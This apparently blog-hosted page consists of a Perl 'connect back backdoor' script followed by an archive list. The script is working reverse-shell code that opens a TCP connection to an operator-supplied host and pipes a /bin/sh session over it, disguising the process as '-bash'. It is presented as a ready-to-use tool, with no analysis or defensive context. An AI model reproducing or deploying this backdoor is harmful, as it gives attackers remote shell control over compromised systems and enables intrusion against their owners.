#!/usr/bin/perl use Socket; print "Data Cha0s Connect Back Backdoor\n\n"; if (!$ARGV[0]) { printf "Usage: $0 [Host] \n"; exit(1); } print "[*] Dumping Arguments\n"; $host = $ARGV[0]; $port = 80; if ($ARGV[1]) { $port = $ARGV[1]; } print "[*] Connecting...\n"; $proto = getprotobyname('tcp') || die("Unknown Protocol\n"); socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Error\n"); my $target = inet_aton($host); if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) { die("Unable to Connect\n"); } print "[*] Spawning Shell\n"; if (!fork( )) { open(STDIN,">&SERVER"); open(STDOUT,">&SERVER"); open(STDERR,">&SERVER"); exec {'/bin/sh'} '-bash' . "" x 4; exit(0); } print "[*] Datached\n\n";
-
Recent Posts
Archives
- January 2019 (1)
- February 2014 (3)
- January 2014 (1)
- April 2013 (1)
- July 2010 (1)
- February 2010 (1)
- October 2009 (1)
- September 2009 (1)
- August 2009 (3)
- July 2009 (1)
- June 2009 (1)
- April 2009 (3)
- March 2009 (1)
- February 2009 (3)
- January 2009 (4)
- December 2008 (2)
- November 2008 (4)
- October 2008 (2)
- September 2008 (3)
- August 2008 (9)
- July 2008 (4)
- June 2008 (6)
- May 2008 (2)
- April 2008 (4)
- March 2008 (3)
- February 2008 (4)
- January 2008 (26)
- December 2007 (5)
- November 2007 (2)
- October 2007 (6)
- September 2007 (7)
- August 2007 (2)
- July 2007 (8)
- June 2007 (2)
- May 2007 (15)
- April 2007 (14)
- March 2007 (9)
- February 2007 (4)
- January 2007 (15)
- December 2006 (15)
- November 2006 (9)
- October 2006 (2)
- September 2006 (6)
- August 2006 (7)
- July 2006 (8)
- June 2006 (12)
- May 2006 (16)
- April 2006 (13)
- March 2006 (4)
- February 2006 (1)
- January 2006 (2)
- September 2005 (1)
- August 2005 (1)
- June 2005 (2)
- May 2005 (6)
- April 2005 (1)
- March 2005 (5)
Post a Comment